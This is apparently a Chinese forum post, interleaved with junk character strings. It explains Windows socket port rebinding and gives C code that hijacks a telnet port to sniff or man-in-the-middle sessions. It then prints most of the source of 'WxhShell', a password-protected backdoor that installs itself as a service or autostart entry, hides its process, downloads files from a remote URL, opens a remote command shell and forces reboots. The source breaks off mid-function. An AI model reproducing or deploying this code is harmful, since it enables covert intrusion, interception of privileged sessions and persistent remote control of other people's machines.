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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )O7 Mfr s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F`?pZ Za01z^ saddr.sin_family = AF_INET; o}% 6s|C:1](b saddr.sin_addr.s_addr = htonl(INADDR_ANY); +p43d:[ Vx#xq#wK bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H-UMsT=g] e@Mm4&f[p 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 kF\QO
[ !Sw7!h.ut 这意味着什么?意味着可以进行如下的攻击: f'%}{l: ss \j K?R
6 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 cCj}{=U 3cOXtDV YT 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *YDx6\><
}D|"$* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u(REEc~nj ^rxXAc[ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 LL,~&5{ v=X\@27= ? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oHa6fi a!>AhOk. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8\ :T*u3 ;#j/F]xG 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Y}Qu-fm XVI+Y #include XE>XzsnC #include p6ZKyi #include lR-4"/1|y #include 8`*`4m DWORD WINAPI ClientThread(LPVOID lpParam); ~i(*.Z)
\ int main() isDr|g$S { Ig9$ PP+3 WORD wVersionRequested; hy6px DWORD ret; &i!.6M2 WSADATA wsaData; Mv;7kC7] BOOL val; [(dAv7YbN SOCKADDR_IN saddr; :z^c<KFX SOCKADDR_IN scaddr; $T*kpUXH} int err; Y#rao:I SOCKET s; m$$U%=r>@ SOCKET sc; F!Nx^M1 int caddsize; h7%< HANDLE mt; A).wjd(_, DWORD tid; 7qnw.7p wVersionRequested = MAKEWORD( 2, 2 ); Xt$?Kx_, err = WSAStartup( wVersionRequested, &wsaData ); ,':?3| $c if ( err != 0 ) { O"{NHNG\oT printf("error!WSAStartup failed!\n"); rgOB0[ return -1; 2p'qp/ } aFl(K\ saddr.sin_family = AF_INET; EnfSVG8kB8 2P]r J //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 W}T$ Z *d)B4qG saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;%Z)$+Z_)< saddr.sin_port = htons(23); 58=fT1
B if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b
~F85U2 { o 0fsM;K printf("error!socket failed!\n"); s3t{freM return -1; q`qbaX\J3 } =NlAGzv!w val = TRUE; L-$GQGk{ //SO_REUSEADDR选项就是可以实现端口重绑定的 n!f@JHL if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^IC|3sr { GV%ibqOpQj printf("error!setsockopt failed!\n"); :x16N|z return -1; |*8 J.H*r } `+i<:,z-gs //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U${dWxC //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &:Raf5G-E //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .PF~8@1ju m:K/)v* if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) SVeL c { LnM+,cBz ret=GetLastError(); E*k=8$Y printf("error!bind failed!\n"); ]V}";cm;2 return -1; ek3/`]V: } [x9eamJ,H listen(s,2); V<(cW'zA/ while(1) M`S >Q2{ { NO;+:0n caddsize = sizeof(scaddr); B6|=kl2C //接受连接请求 Vbz$dpT sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *n}{)Ef if(sc!=INVALID_SOCKET) [{'` | {
X&(1DE mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]BX|G`CCc if(mt==NULL) I)n%aT fo8 { QL printf("Thread Creat Failed!\n"); @0+@.&Z break; f`vB$r> } ALPZc: } k`xPf\^tf CloseHandle(mt); Dy0RZF4_ } *\-6p0~A closesocket(s); joYj`K WSACleanup(); dTS7l02 return 0; l8jm7@.E } JrS|Ib)6 DWORD WINAPI ClientThread(LPVOID lpParam) _sx]`3/86 { $Z$BF SOCKET ss = (SOCKET)lpParam; kOeW,:&65 SOCKET sc; EtKy?]i unsigned char buf[4096]; T&cf6soo SOCKADDR_IN saddr; 8) 'OXR0/ long num; 1;S@XC> DWORD val; ig jr=e DWORD ret; Pv/$;R% //如果是隐藏端口应用的话,可以在此处加一些判断 Qp]V~s( //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 arRbq!mO saddr.sin_family = AF_INET; CO-9-sQx
saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~xkcQ{ saddr.sin_port = htons(23); -=@d2LY if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _KLKa/3 { g2BE-0, R printf("error!socket failed!\n"); RQ!kVM@ return -1; 9K~X}]u } PA&Ev0`+ val = 100; b-\ 1D;] if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2w+w'Ag_R { (HDR}!.E ret = GetLastError(); i=nd][1n return -1; h b_"E, `F } Qw}uB$S> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V*}ft@GPD { ?sk{(UN] ret = GetLastError(); Ja"?Pb return -1; yxik`vmH } ACc tyGd if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) O,x[6P54P { e?,n> printf("error!socket connect failed!\n"); 58V`I5_ closesocket(sc); `zwXfY,% closesocket(ss); r roI return -1; X @RS
/ } [+
Kjun_ while(1) ,K
8R%B { h'jc4mu0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 kNR -eG //如果是嗅探内容的话,可以再此处进行内容分析和记录 F2QFQX(j //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g]vo."}5E num = recv(ss,buf,4096,0); _Dr9 w&;< if(num>0) 8BE] A_X send(sc,buf,num,0); L7;8:^ v else if(num==0) m}hEi break; C3)*Mn3%P num = recv(sc,buf,4096,0); xhK8Q if(num>0) [MhKR }a send(ss,buf,num,0); +saXN6 else if(num==0) ]l>LU2 sx break; %PM&`c98z7 } "ngULpb{R closesocket(ss); !K*(# [ closesocket(sc); {7'Wi$^F return 0 ; x{4{.s%+: } WX6}@mS. 0Un?[O 0$JH5RC ========================================================== 3>M%?d B\S}*IE 下边附上一个代码,,WXhSHELL lonV_Xx |W_;L6) ========================================================== ORuC(" 2[j(C
#include "stdafx.h" UE8j8U'L ~I6N6T Z #include <stdio.h> j 5}'* #include <string.h> ,_iq$I; #include <windows.h> `OFW^Esc #include <winsock2.h> 17$'r^t,S #include <winsvc.h> Co>e<be%S #include <urlmon.h> M8nfbc^ o3]Lrzh #pragma comment (lib, "Ws2_32.lib") f7YBhF #pragma comment (lib, "urlmon.lib") P9`R~HO'` s@Dln
Du. #define MAX_USER 100 // 最大客户端连接数 L"bZ~'y #define BUF_SOCK 200 // sock buffer >3ax `8 #define KEY_BUFF 255 // 输入 buffer V6Mt;e)C @`$'sU #define REBOOT 0 // 重启 6_,JW{#" #define SHUTDOWN 1 // 关机 0civXZgj Z<^;Ybw{`Z #define DEF_PORT 5000 // 监听端口 w=pr?jt1: FFa =/XB" #define REG_LEN 16 // 注册表键长度 TZ *>MySiF #define SVC_LEN 80 // NT服务名长度 }@eIO| :*f 2Bn // 从dll定义API @}=(4% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w 5 yOSz typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u
3^pQ6Q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &1(- 8z* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X NgcBSD U0gZf5;* // wxhshell配置信息 8EI9&L> struct WSCFG { t0+i]lr int ws_port; // 监听端口 K!]a+M]> char ws_passstr[REG_LEN]; // 口令 Q$uv
\h; int ws_autoins; // 安装标记, 1=yes 0=no Kci. ,I char ws_regname[REG_LEN]; // 注册表键名 WQ{[q" O char ws_svcname[REG_LEN]; // 服务名 `78Bv>[A char ws_svcdisp[SVC_LEN]; // 服务显示名 ~)^'5^ char ws_svcdesc[SVC_LEN]; // 服务描述信息 8N%nG(
0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |BbzRis int ws_downexe; // 下载执行标记, 1=yes 0=no )adV`V%=> char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" `^52IkM) char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [Ur\^wS Y{D%v }; x-"8V( Z:dp/M} // default Wxhshell configuration 0z'GN#mT5 struct WSCFG wscfg={DEF_PORT, S=(<m%f "xuhuanlingzhe", Y=p!xr> 1, m8ts!6C "Wxhshell", vfc:ok 1 "Wxhshell", s3HVX' "WxhShell Service", -8xf}v~u "Wrsky Windows CmdShell Service", 4;fuS_(X "Please Input Your Password: ", W#S8 2 1, W%4=x>J- " http://www.wrsky.com/wxhshell.exe", RWc<CQcL" "Wxhshell.exe" #~!"`B?#* }; `J1HQ!Z TP"cEfs x // 消息定义模块 3w</B-|nQ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L8 L1_ char *msg_ws_prompt="\n\r? for help\n\r#>"; wqhktgG char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ,Klv[_x7 char *msg_ws_ext="\n\rExit."; q pCI[[ char *msg_ws_end="\n\rQuit."; _]-4d_&3( char *msg_ws_boot="\n\rReboot..."; C,An\lsT char *msg_ws_poff="\n\rShutdown..."; W7^[W. char *msg_ws_down="\n\rSave to "; Xx"<^FS[zC G@.MP|
2 char *msg_ws_err="\n\rErr!"; $#q`Y+;L2 char *msg_ws_ok="\n\rOK!"; #L~i|(=U5 1h&`mqY)L. char ExeFile[MAX_PATH]; IdQ./@? int nUser = 0; X/yq<_ g HANDLE handles[MAX_USER]; b~J)LXj]w int OsIsNt; 1~*1W4};F8 fes s6=k SERVICE_STATUS serviceStatus; b,Oh8O;> SERVICE_STATUS_HANDLE hServiceStatusHandle; N7?B"p/ H5T_i$W // 函数声明 G18w3BFx int Install(void); yd).}@ int Uninstall(void); hW~.F int DownloadFile(char *sURL, SOCKET wsh); 8.i4QaU int Boot(int flag); uMJ\ void HideProc(void); /]_ t-> int GetOsVer(void); Ot2o=^Ng int Wxhshell(SOCKET wsl); } o%^
Mu B void TalkWithClient(void *cs); Y !?'[t int CmdShell(SOCKET sock); (k?HT'3) int StartFromService(void); G3~`]qf
int StartWxhshell(LPSTR lpCmdLine); d~Z\%4 b6bs . VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %up?70 VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;f[lq^eV 1z?}'&: // 数据结构和表定义 l4>^79* * SERVICE_TABLE_ENTRY DispatchTable[] = m1l6QcT1 { U[@y8yN6M {wscfg.ws_svcname, NTServiceMain}, Dwp,d~z {NULL, NULL} m^k0j/ }; !y= R)k T$I_nxh[)L // 自我安装 Mfj82rHg int Install(void) 6qWUo3 { zxbfh/= char svExeFile[MAX_PATH]; VPe0\?!d HKEY key; FEaT}/h; strcpy(svExeFile,ExeFile); ?, S/>SP DN*5q9. // 如果是win9x系统,修改注册表设为自启动 =~B"8@B if(!OsIsNt) { CMXF[X)% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K#0TD(" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aQCu3T RegCloseKey(key); ieFl4hh[G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8]ZzO(=@{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .T|
}rB<c RegCloseKey(key); 0zaK&]oY0 return 0; =dmr,WE } T5(S2^)o } *m~-8_ >; } +$h else { [_,as *doNPp)m // 如果是NT以上系统,安装为系统服务 [9 W@<p SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Smr{+m a if (schSCManager!=0) |A8@r& { 2cR[~\_9. SC_HANDLE schService = CreateService "& ,ov# ( IS2cU' schSCManager, CSO'``16 wscfg.ws_svcname, &{}Mds wscfg.ws_svcdisp, jJy:/!i SERVICE_ALL_ACCESS, ZK5nN9` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S+ kq1R SERVICE_AUTO_START, )cqD"> vs SERVICE_ERROR_NORMAL, CU'JvVe3 svExeFile, l~c[} wv NULL, Zxa.x?:?n NULL, t`Kbm''d[ NULL, 6b2UPI7m~ NULL,
@Z jT_ NULL lQn"
6o1 ); |9CikLX)7 if (schService!=0) I//=C6 { 6':iW~iI CloseServiceHandle(schService); a.Ho>(V/4 CloseServiceHandle(schSCManager); %FO{:@CH strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O tG\Uw8 strcat(svExeFile,wscfg.ws_svcname); (}: s[cs if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P@{x@9kI RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UUah5$Iy RegCloseKey(key); L:z0cvn" return 0; ag-A}k>v } X8nos } dzf2`@8# CloseServiceHandle(schSCManager); eqbN_$> } Cp8=8N(Xb } Nwvlv{k' EBj^4=b[ return 1; v pI9TG }
Dw-d`8* IG781:,/ // 自我卸载 !wAT`0<94F int Uninstall(void) |=?#Xbxz { d2rs+- HKEY key; asT-=p_ 0. oQ!M+sRmF if(!OsIsNt) { N[%u>! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T$4{fhV
\ RegDeleteValue(key,wscfg.ws_regname); Sc)^k RegCloseKey(key); _?{7%(C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JJ?{V: RegDeleteValue(key,wscfg.ws_regname); C?PQ>Q!f- RegCloseKey(key); Z_d"<k}I return 0; ;_<R +w3- } uO?+vYAN } {o=?@ $6C } NGx3f3 9 else { | f#wbw 8nz({Mb9Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y
G+|r if (schSCManager!=0) Q;M\fBQO}& { \Wbmmd}8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TT$Ao if (schService!=0) ys[Li.s: { :^;c(>u{ if(DeleteService(schService)!=0) { R.~[$G! CloseServiceHandle(schService); odRiCiMH CloseServiceHandle(schSCManager); 6Rc=!_v^ return 0; !jCgTo
y } i?00!t CloseServiceHandle(schService); / f%mYL } yI0bSu<j- CloseServiceHandle(schSCManager); 55[ 4)* } t@q'm.:uw< } +H)'(< YeH!v, > return 1; 7_0p& 3
} |)-kUu j8Z, :op // 从指定url下载文件 @Nu2
:~JO int DownloadFile(char *sURL, SOCKET wsh) 91-bz^=xO { Up9{aX HRESULT hr; s#2t\}/ char seps[]= "/"; L@}PW)# char *token; 7)66e char *file; 0-2|(9
Kc char myURL[MAX_PATH]; ,:_c-d# char myFILE[MAX_PATH]; h$cm:uks R4?>C-; strcpy(myURL,sURL); 7|rH9Bc{U token=strtok(myURL,seps); tne_]+ while(token!=NULL) sZ;|NAx) { D6 B-#u!M file=token; E$8JrL token=strtok(NULL,seps); mxc)Wm<4 } Q7%4 `_$! kfy!T rf GetCurrentDirectory(MAX_PATH,myFILE); 6Q.S strcat(myFILE, "\\"); QY\k3hiqn strcat(myFILE, file); dcz?5O_{, send(wsh,myFILE,strlen(myFILE),0); _|k$[^ln^ send(wsh,"...",3,0); ZsmOn#`=^} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2RiJ m" if(hr==S_OK) 7Ai?}%b- return 0; O-iE 0t else sNf& "C!; return 1; fXD+ KA3U W } d}
>Po%r: 4l D$'` // 系统电源模块
q+P@2FL int Boot(int flag) .)Tj}Im2p { }@DCc f$< HANDLE hToken; MKK ^-T TOKEN_PRIVILEGES tkp; B(Sy.n [&x9<f6 if(OsIsNt) { 4kOO3[r OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); % rBzA< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1S{Biqi+ tkp.PrivilegeCount = 1; ofvR0yV tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UwN Vvo AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `L1,JE`
q if(flag==REBOOT) { P_bB{~$4 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z8kO)' return 0; 3%WB?kc } ]5%0EE64 else { sdp&D@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2e48L677- return 0; d;i|s[6ds` } A5l Cc
b } 7ZcF0h else { FU`(mQ*Yd if(flag==REBOOT) { *$p*'vR if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hmy%X`%j return 0; r
)|3MUj } i~B?p[ else { 8}/DD^M if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0G%9
@^B return 0; HC`0Ni1 } 5Xy(za } ;(Yb9Mr)z "ra$x2|=} return 1; 9QZaa(vN } 7h'
C"rH ^2+Ex+ // win9x进程隐藏模块 UQVL)-Z void HideProc(void)
:e1h!G { 7iB!Uuc oO}g~<fYG HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [4KQcmJc# if ( hKernel != NULL ) u@a){A(P { y\Wn:RR1 [ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2+]5}'M ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,EqQU| FreeLibrary(hKernel);
"Ih3 } HU0.)tD #G9
W65 f return; sz7*x{E } kc'$4 J4Tw %VHy?!/ // 获取操作系统版本 DP_b9o
\5 int GetOsVer(void) Iix,}kzss { r&=ulg OSVERSIONINFO winfo; ,BdObx winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ct+F\:e GetVersionEx(&winfo); $QbJT`,mr if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W'G|sk return 1; d_[H|H9i6 else 1(' wg! return 0; `Fqth^RK?p } G':3U 5Ds[? // 客户端句柄模块 [@$ SLl^Y int Wxhshell(SOCKET wsl) ]:%DDlRb { ?G{0{c2 SOCKET wsh; >t+ ENYb struct sockaddr_in client; 2mY!gVi DWORD myID; <^S\&v1C_ Bc>j5^)8w while(nUser<MAX_USER) m\teE]8x { "O$bq::(]e int nSize=sizeof(client); G?4@[m wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O]: 9va if(wsh==INVALID_SOCKET) return 1; =4TQ*;V: $v>q'8d handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A;cA|`b if(handles[nUser]==0) _|~Dj)z closesocket(wsh); =<\22d5L else R~<N*En~ nUser++; :>-zT[Lcn } XQ1]F{?/H WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E|pT6 ]w *"KG!( return 0; q@.>eB'92P } IIk_!VzT VuLb9Kn // 关闭 socket \zd[A~! void CloseIt(SOCKET wsh) u%-]-:c { pl8b&bLzi closesocket(wsh); ~cU1
/CW8 nUser--; d+n2
c`i ExitThread(0); #p+iwW- } HDm]njF%qQ 2gWR2 H@ // 客户端请求句柄 wd:Yy void TalkWithClient(void *cs)
9qX$ { ED0cnr\yG S5>s& SOCKET wsh=(SOCKET)cs; !~
o%KQt char pwd[SVC_LEN]; [$3+5K# char cmd[KEY_BUFF]; 2V~E
<K- char chr[1]; UfW=/T int i,j; ]9!y3"..W{ SIK:0>yK" while (nUser < MAX_USER) { 0E\#!L pq*e0uW if(wscfg.ws_passstr) {
O_ _s~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V
x#M!os0 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (KI9j7 //ZeroMemory(pwd,KEY_BUFF); K6{wM i=0; &C'^YF_^0 while(i<SVC_LEN) { bvD}N<>3N Z+B*V)a= // 设置超时 %9YY \a { fd_set FdRead; "#)|WVa=BM struct timeval TimeOut; /xX7:U b FD_ZERO(&FdRead); f@}>:x FD_SET(wsh,&FdRead); f y2vAwl TimeOut.tv_sec=8; w|dfl * TimeOut.tv_usec=0; ss-W[|cHU int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (]w6q&, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tE%g)hL- W" =l@}I if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
$9%F1:u pwd =chr[0]; ByqVNz0L if(chr[0]==0xd || chr[0]==0xa) { QC'Ru'8S pwd=0; i]n2\v AG break; cGm3LS6]* } Z/,R{Jgt" i++; #91^1jyMf } yPE3Awh5 U\%r33L ) // 如果是非法用户,关闭 socket RUY7Y? if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O=__w *< }
G#[A'tbKk *iB&tWv send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eb7UA=[Z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3cHYe hh4R while(1) { a!R*O3 L9jT:2F ZeroMemory(cmd,KEY_BUFF); ]9_gbQ eipg,EI // 自动支持客户端 telnet标准 1;[KBYUH j=0; +cfcr* while(j<KEY_BUFF) { 8SpG/gl" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); { <Gyjq cmd[j]=chr[0]; ;PaU"z+Je~ if(chr[0]==0xa || chr[0]==0xd) { NU=2*gM cmd[j]=0; rp\`uj*D break; }etdXO_^ } +iQ@J+k
j++; k, N{ } F]M-r{ "R5G^-<hp // 下载文件 YM`T"`f if(strstr(cmd,"http://")) { S ,F[74K send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?OW!D? if(DownloadFile(cmd,wsh)) g} !{_z send(wsh,msg_ws_err,strlen(msg_ws_err),0); \me5"ZU else -]wEk%j send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )l9KDObis } ECt<\h7} else { OPN\{<`*d kNK0KL switch(cmd[0]) { =F|9ac9X j-d&4,a:c // 帮助 o2dO\$' case '?': { 7;+G)44 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hc\C0V< break; UYxn?W.g } U
2-{p // 安装 z&QfZs case 'i': { o/3.U=px~ if(Install()) [.4{s send(wsh,msg_ws_err,strlen(msg_ws_err),0); e1g3a1tnWl else /4O))}TX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WowT!0$ break; $y6 <2w%b } U;/2\Ii // 卸载
!p$p 7 case 'r': { _<RTes if(Uninstall()) PR5N:Bw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); | Uics:cQC else {C&Uq#V send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0g30nr) break; f I=G>[ } S?CT6moXA // 显示 wxhshell 所在路径 3!8(A/YP; case 'p': { T; tY7;< char svExeFile[MAX_PATH]; P@PF"{S strcpy(svExeFile,"\n\r"); :pM8Q1:B strcat(svExeFile,ExeFile); JXL?.{'A send(wsh,svExeFile,strlen(svExeFile),0); HnArj_E break; \(Oc3+n6 } 7f+@6jqD\) // 重启 tTBDb case 'b': { I#xdksY send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y?a71b8m if(Boot(REBOOT)) yZ{yzv'D& send(wsh,msg_ws_err,strlen(msg_ws_err),0); s.p>
?U else { $ (;:4 closesocket(wsh); |'-aR@xJ ExitThread(0); !#pc@(rE } ;@=3
@v break; ;[;WEA } +rU{-`dy9' // 关机 IDn<5# case 'd': { ;4!H- qZ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MlYm\x8{M if(Boot(SHUTDOWN)) (1|wM+)" send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8!|vp7/ else { C W#:' closesocket(wsh); Hy4;i^Ik < ExitThread(0); +z nlf- } F oC
$X break; |;NfH|43; } *-PjcF}Y // 获取shell
e4N d case 's': { G+N1#0,q CmdShell(wsh); 1iY4|j;ahV closesocket(wsh); iO?AY ExitThread(0); #WZat
?-N break; {!D(3~MI } FbroI>" e // 退出 nEu:& 4 case 'x': { Ik^^8@z send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +Kb 7N, " CloseIt(wsh); xh:I]('R break; R/x3+_.f } h#Z["BG // 离开 {Vj&i.2, case 'q': { w[d8#U send(wsh,msg_ws_end,strlen(msg_ws_end),0); w r"0+J7 closesocket(wsh); c45s
#6 WSACleanup(); r<fcZ)jt| exit(1); P}~MO)*1 break; m6[}KkW } rmzzbLTu } H2%Qu<Kg2 } *VhEl7 f~wON>$K // 提示信息 %B\x
%e;P if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3as=EYm } d eT<)'" } "\EX)u9ze
^Zz^h@+ return; l S,Jo/T@ } 2c]"*Pb Ez~5ax7x // shell模块句柄 "7y,d%H int CmdShell(SOCKET sock) *JDz0M4f { 7qyPI STARTUPINFO si; z*h:Nt%. ZeroMemory(&si,sizeof(si)); 2j8GJU/L si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; te(H6c#0 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uCr& ` PROCESS_INFORMATION ProcessInfo; BJwuN char cmdline[]="cmd"; F8Ety^9>9 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "6\5eFN; return 0; z.8 nYL5^} } WGn=3(4 $,@}%NlHc // 自身启动模式 N-QS/*C.~ int StartFromService(void) Qpv#&nfUi6 { B zS4:e< typedef struct E;CM"Y* { qZ^
PC- DWORD ExitStatus; 0\:=KIY. DWORD PebBaseAddress; <z\SKR[ DWORD AffinityMask; |Jn|GnM DWORD BasePriority; Is4,QnY_[ ULONG UniqueProcessId; g0j)k6<6(Y ULONG InheritedFromUniqueProcessId; `;Tf _6c } PROCESS_BASIC_INFORMATION; ywJ [WfCY l SdA7 PROCNTQSIP NtQueryInformationProcess; ns>$ 'Wnh1|z static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $6mShp9( static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QUW`Yc boEQI=!j\+ HANDLE hProcess; I :<,9. PROCESS_BASIC_INFORMATION pbi; xg/( 7*uN[g#p HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %urvX$r4K if(NULL == hInst ) return 0; \85%d0@3 }y6@YfV${ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nDdY~f.B g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 